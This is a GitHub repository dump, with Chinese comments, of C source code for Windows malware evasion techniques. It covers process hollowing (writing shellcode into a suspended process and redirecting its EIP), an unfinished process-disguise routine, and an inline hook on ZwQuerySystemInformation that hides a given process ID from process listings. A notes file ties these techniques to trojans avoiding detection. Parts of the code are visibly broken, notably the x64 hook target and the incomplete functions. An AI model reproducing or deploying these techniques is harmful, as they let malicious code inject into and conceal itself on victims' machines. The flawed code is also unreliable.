├── .gitignore ├── 1.jpg ├── 2.jpg ├── README.md ├── 傀儡进程.c ├── 简单解说 ├── 进程伪装.c └── 进程隐藏.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Compiled Object files 5 | *.slo 6 | *.lo 7 | *.o 8 | *.obj 9 | 10 | # Precompiled Headers 11 | *.gch 12 | *.pch 13 | 14 | # Compiled Dynamic libraries 15 | *.so 16 | *.dylib 17 | *.dll 18 | 19 | # Fortran module files 20 | *.mod 21 | *.smod 22 | 23 | # Compiled Static libraries 24 | *.lai 25 | *.la 26 | *.a 27 | *.lib 28 | 29 | # Executables 30 | *.exe 31 | *.out 32 | *.app 33 | -------------------------------------------------------------------------------- /1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jinguto/progess/3167b3f2a528b5c9c6b123f1ec7e83da70832aa6/1.jpg -------------------------------------------------------------------------------- /2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jinguto/progess/3167b3f2a528b5c9c6b123f1ec7e83da70832aa6/2.jpg -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # progess 2 | 进程隐藏 3 | -------------------------------------------------------------------------------- /傀儡进程.c: -------------------------------------------------------------------------------- 1 | /* 2 | 傀儡进程 3 | 实现原理:修改指定进程内存数据,向内存中写入ShellCode代码,并修改该进程的执行流程, 4 | 使其转而执行ShellCode代码,这样进程还是原来的进程,但是执行的操作变了. 5 | 关键技术点: 6 | 一. 写入ShellCode的时机 7 | 二. 更改执行流程的方法 8 | CreateProcess提供CREATE_SUSPENDED作为线程创建后主进程挂起的标志,这时主线程处于挂起状态, 9 | 直到ResumeThread恢复线程,方可执行.使用SetThreeadContext可以修改线程上下文中的EIP数据. 10 | 11 | 实现流程: 12 | 1. CreateProcess创建进程,设置CREATE_SUSPENDED挂起进程标志 13 | 2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory 14 | 写入ShellCode数据,考虑到傀儡进程内存占用过大的问题,也可以调用ZwUnmapViewOfSection函数卸载 15 | 傀儡进程并加载模块 16 | 3. 调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext 17 | 4. 调用ResumeThread恢复进程 18 | */ 19 | 20 | BOOL ReplaceProcess(WCHAR* pszFilePath, PVOID pRelaceData, DWORD dwReplaceDataSize, DWORD dwRunOffset) 21 | { 22 | //1. CreateProcess创建目标进程,设置CREATE_SUSPENDED挂起进程标志 23 | STARTUPINFO stcSi = { 0 }; 24 | stcSi.cb = sizeof(stcSi); 25 | PROCESS_INFORMATION stcPi = { 0 }; 26 | BOOL bRet = CreateProcessW(pszFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, 27 | NULL, NULL, &stcSi, &stcPi); 28 | if (!bRet) 29 | { 30 | printf("创建进程失败\n"); 31 | return FALSE; 32 | } 33 | //2. 调用VirtualAllocEx函数在新进程申请一个可读可写可执行的内存,并调用WriteProcessMemory 34 | //写入ShellCode数据, 考虑到傀儡进程内存占用过大的问题, 也可以调用ZwUnmapViewOfSection函数卸载 35 | //傀儡进程并加载模块 36 | LPVOID lpBuffer = VirtualAllocEx(stcPi.hProcess, NULL, dwReplaceDataSize, 37 | MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 38 | if (!lpBuffer) 39 | { 40 | printf("申请内存失败\n"); 41 | return FALSE; 42 | } 43 | WriteProcessMemory(stcPi.hProcess, lpBuffer, pRelaceData, dwReplaceDataSize, NULL); 44 | //3.调用GetThreeadContext,设置获取标志CONTEXT_FULL,修改EIP,再调用SetThreeadContext 45 | CONTEXT stcCt = { CONTEXT_FULL }; 46 | GetThreadContext(stcPi.hThread, &stcCt); 47 | stcCt.Eip = (DWORD)lpBuffer + dwRunOffset; 48 | SetThreadContext(stcPi.hThread, &stcCt); 49 | //4.调用ResumeThread恢复进程 50 | ResumeThread(stcPi.hThread); 51 | return TRUE; 52 | } 53 | -------------------------------------------------------------------------------- /简单解说: -------------------------------------------------------------------------------- 1 | 进程隐藏技术: 2 | 进程伪装:通过修改指定进程PEB中的路径和命令行信息实现伪装。 3 | 傀儡进程:通过进程挂起,替换内存数据再恢复执行,从而实现创建傀儡进程 4 | 进程隐藏:通过HOOK函数ZwQuerySystemInfornation实现进程隐藏 5 | DLL劫持:通过#pragma comment指令直接转发DLL导出函数或者通过LoadLibrary和GetProcAddress函数获取DLL导出函数并调用 6 | 7 | 8 | 进程伪装 9 | 对病毒木马来说,最简单的进程伪装方式就是修改进程名,例如将本地文件名修改成services.exe等系统进程名,从而不被用户发现。进程伪装指的是可以修改任意指定进程信息,即该进程信息再系统中显示的是另一个进程的信息。这样指定进程和伪装进程相同,但实际,执行的操作是不同的 10 | __kernel_entry NTSTATUS NtQueryInformationProcess( 11 | IN HANDLE ProcessHandle, //目标进程句柄 12 | IN PROCESSINFOCLASS ProcessInformationClass, //获取信息类型 13 | OUT PVOID ProcessInformation, //指向调用应用程序提供的缓冲区的指针,函数将所请求的信息写入该缓冲区。 14 | IN ULONG ProcessInformationLength,//ProcessInformation缓冲区大小 15 | OUT PULONG ReturnLength //函数返回请求信息的大小 16 | ); 17 | -------------------------------------------------------------------------------- /进程伪装.c: -------------------------------------------------------------------------------- 1 | typedef NTSTATUS (WINAPI* pfnNtQueryInformationProcess)( 2 | IN HANDLE ProcessHandle, 3 | IN PROCESSINFOCLASS ProcessInformationClass, 4 | OUT PVOID ProcessInformation, 5 | IN ULONG ProcessInformationLength, 6 | OUT PULONG ReturnLength 7 | ); 8 | BOOL DisguiseProcess(DWORD dwProcessId, WCHAR* lpwszpath, WCHAR* lpwszCmd) 9 | { 10 | //获取进程句柄 11 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); 12 | if (!hProcess) 13 | { 14 | OutPutDebugStringA("进程句柄获取失败\n"); 15 | return false; 16 | } 17 | // 18 | pfnNtQueryInformationProcess fnNtQueryInformationProcess = NULL; 19 | 20 | } 21 | -------------------------------------------------------------------------------- /进程隐藏.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | /* 4 | 隐藏进程 5 | 实现原理:通过HOOKAPI ZwQuerySystemInformation可以实现进程隐藏.这是因为EnumProcess或者 6 | CreateToolHelp32Snapshot遍历进程,都是通过ZwQuerySystemInformation函数来检索系统进程信息的. 7 | 实现方法:内联HOOK或者IAT HOOK 8 | 1. 获取ZwQuerySystemInformation函数地址 9 | 2. 根据32和64位版本,计算偏移,修改函数前xx字节数据 10 | 3. 先修改页属性,再修好内存数据,恢复页属性 11 | 4. 在My_ZwQuerySystemInformation函数中判断是否检索要隐藏进程, 12 | 若是隐藏进程,遍历检索结果,剔除隐藏进程的信息,将修改数据返回 13 | 14 | */ 15 | 16 | /* 17 | x86系统 修改前5字节 18 | --------------------------------------------------- 19 | HOOK前: 0x41000 E8 007f00000 call OpenProcess 20 | HOOK后: 0x41000 E9 000410000 call MyOpenProcess 21 | 填充地址计算公式: 跳转偏移 = 目标地址 - 指令所在 - 5 22 | --------------------------------------------------- 23 | 24 | x64系统 修改前12字节 25 | --------------------------------------------------- 26 | mov rax,目标地址 0x48 0xb8 00000000 27 | 跳转方式1: push rax 0x50 28 | ret 0xC3 29 | 跳转方式2: jmp rax 0xff 0xe0 30 | --------------------------------------------------- 31 | */ 32 | BYTE g_OldData32[5] = { 0 }; 33 | BYTE g_OldData64[12] = { 0 }; 34 | pfnZwQuerySystemInformation fnZwQuerySystemInformation = NULL; 35 | 36 | typedef NTSTATUS (WINAPI* pfnZwQuerySystemInformation)( 37 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 38 | PVOID SystemInformation, 39 | ULONG SystemInformationLength, 40 | PULONG ReturnLength); 41 | 42 | NTSTATUS WINAPI My_ZwQuerySystemInformation( 43 | SYSTEM_INFORMATION_CLASS SystemInformationClass, 44 | PVOID SystemInformation, 45 | ULONG SystemInformationLength, 46 | PULONG ReturnLength) 47 | { 48 | 49 | DWORD dwHidePid = 1124; //1.要隐藏的进程ID 50 | UnHook(); 51 | // 调用原函数 52 | NTSTATUS status = fnZwQuerySystemInformation(SystemInformationClass, SystemInformation, 53 | SystemInformationLength, ReturnLength); 54 | // 判断 55 | if (NT_SUCCESS(status) && 5==SystemInformationClass) 56 | { 57 | PSYSTEM_PROCESS_INFORMATION pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation; 58 | PSYSTEM_PROCESS_INFORMATION pPrev = NULL; 59 | while (TRUE) 60 | { 61 | //判断PID是否是隐藏进程 62 | if (dwHidePid == (DWORD)pCur->UniqueProcessId) 63 | { 64 | //pPrev -- 指向前一个 65 | //pCur -- 指向当前 66 | //pNext -- 指向下一个 67 | //找到隐藏进程,清除进程信息,即将pPrev的NextEntryOffset字段改为pNext偏移 68 | if (0==pCur->NextEntryOffset && pPrev) 69 | { 70 | pPrev->NextEntryOffset = 0; 71 | } 72 | else 73 | { 74 | pPrev->NextEntryOffset = pPrev->NextEntryOffset + pCur->NextEntryOffset; 75 | } 76 | } 77 | else 78 | { 79 | pPrev = pCur; 80 | } 81 | if (0 == pCur->NextEntryOffset) 82 | { 83 | break; 84 | } 85 | pCur = (PSYSTEM_PROCESS_INFORMATION)((BYTE*)pCur + pCur->NextEntryOffset); 86 | } 87 | } 88 | HookAPI(); 89 | return status; 90 | } 91 | 92 | 93 | void HookAPI() 94 | { 95 | // 1.获取Ntdll中的ZwQuerySystemInformation函数地址 96 | HMODULE hNtdll = ::GetModuleHandleA("ntdll.dll"); 97 | fnZwQuerySystemInformation = \ 98 | (pfnZwQuerySystemInformation)GetProcAddress(hNtdll, "ZwQuerySystemInformation"); 99 | if (!fnZwQuerySystemInformation)return; 100 | // 2.修改地址 101 | #ifndef _WIN64 102 | BYTE pData[5] = { 0xE9 }; 103 | DWORD dwOffset= (DWORD)My_ZwQuerySystemInformation - (DWORD)fnZwQuerySystemInformation - 5; 104 | ::RtlCopyMemory(&pData[1], &dwOffset, sizeof(dwOffset)); 105 | //保存前5字节数据 106 | ::RtlCopyMemory(g_OldData32, fnZwQuerySystemInformation, 5); 107 | #else 108 | BYTE pData[12] = { 0x48,0xB8,0,0,0,0,0,0,0,0,0x50,0xC3 }; 109 | ULONGLONG dwDestAddr = (ULONGLONG)fnZwQuerySystemInformation; 110 | ::RtlCopyMemory(&pData[2], &dwDestAddr, sizeof(dwDestAddr)); 111 | //保存前12字节数据 112 | ::RtlCopyMemory(g_OldData64, fnZwQuerySystemInformation, 12); 113 | #endif 114 | // 3.设置页面属性可读可写可执行 115 | DWORD dwOldProtect = 0; 116 | VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), PAGE_EXECUTE_READWRITE, 117 | &dwOldProtect); 118 | ::RtlCopyMemory(fnZwQuerySystemInformation, pData, sizeof(pData)); 119 | VirtualProtect(fnZwQuerySystemInformation, sizeof(pData), dwOldProtect, 120 | &dwOldProtect); 121 | } 122 | void UnHook() 123 | { 124 | DWORD dwOldProtect = 0; 125 | #ifndef _WIN64 126 | VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), PAGE_EXECUTE_READWRITE, 127 | &dwOldProtect); 128 | ::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData32, sizeof(g_OldData32)); 129 | VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData32), dwOldProtect, 130 | &dwOldProtect); 131 | #else 132 | VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), PAGE_EXECUTE_READWRITE, 133 | &dwOldProtect); 134 | ::RtlCopyMemory(fnZwQuerySystemInformation, g_OldData64, sizeof(g_OldData64)); 135 | VirtualProtect(fnZwQuerySystemInformation, sizeof(g_OldData64), dwOldProtect, 136 | &dwOldProtect); 137 | #endif 138 | 139 | } 140 | --------------------------------------------------------------------------------